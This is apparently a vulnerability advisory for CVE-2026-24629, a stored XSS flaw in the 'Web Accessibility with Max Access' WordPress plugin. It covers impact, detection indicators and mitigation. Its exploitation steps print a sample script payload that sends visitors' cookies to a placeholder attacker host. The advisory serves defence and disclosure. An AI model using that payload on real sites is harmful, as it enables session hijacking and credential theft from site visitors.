CVE-2026-24629: 
WordPress vulnerability analysis and mitigation

CVE-2026-24629 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Web Accessibility with Max Access" WordPress plugin developed by Ability, Inc. It affects all versions of the plugin up to and including 2.1.0, with no official patch available as of the time of disclosure. The vulnerability was discovered by security researcher Akshat Parikh, reported on December 10, 2025, and published by Patchstack on January 9, 2026, with CVE assignment on January 23, 2026. It carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An attacker with Administrator-level privileges can inject malicious scripts into the plugin's settings or input fields, which are then persistently stored and executed in the browsers of users who visit affected pages. Exploitation requires high privileges (Administrator role) and user interaction — a victim must visit or load the page containing the injected payload. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts (e.g., redirects, credential harvesters, or advertisement injections) into the WordPress site, which execute in the browsers of visiting users. The CVSS assessment indicates low confidentiality, integrity, and availability impact, with a changed scope indicating potential cross-context effects. While the individual impact per exploitation is limited, Patchstack notes that XSS vulnerabilities of this type are commonly leveraged in mass-exploit campaigns targeting large numbers of WordPress sites simultaneously (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.031%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for high-privilege (Administrator) access, significantly limiting the attacker pool (Patchstack).

1. Gain Administrator Access: Obtain WordPress administrator credentials through phishing, credential stuffing, or another vulnerability, as high-privilege access is required.
2. Navigate to Plugin Settings: Log into the WordPress admin dashboard and locate the "Web Accessibility with Max Access" plugin settings panel.
3. Inject Malicious Payload: Insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the plugin's configuration.
4. Save the Payload: Submit or save the settings, causing the malicious script to be stored persistently in the WordPress database.
5. Trigger Execution: When any site visitor (including other administrators or regular users) loads a page that renders the affected plugin output, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress admin audit logs showing unexpected changes to the "Web Accessibility with Max Access" plugin settings, particularly from unfamiliar IP addresses or at unusual times.
• File System: Unexpected modifications to plugin configuration data stored in the WordPress database (wp_options table) associated with the accessibility-toolbar plugin.
• Network: Outbound requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages that load the accessibility toolbar plugin.
• Browser/Application: Users reporting unexpected redirects, pop-ups, or script errors when visiting pages with the accessibility toolbar enabled.

As of the disclosure date, no official patched version of the "Web Accessibility with Max Access" plugin is available from the vendor. Site administrators should immediately deactivate and remove the plugin (versions ≤ 2.1.0) until a patched release is issued. As a compensating control, restrict WordPress administrator access using strong, unique passwords and multi-factor authentication to reduce the risk of privilege abuse. Monitor the WordPress plugin repository and the Patchstack database for patch availability (Patchstack).

The vulnerability was assigned low priority by Patchstack, with the assessment that it is "unlikely to be exploited" given the high privilege requirement. No notable independent researcher commentary, vendor statements beyond the Patchstack advisory, or significant media coverage has been identified for this vulnerability.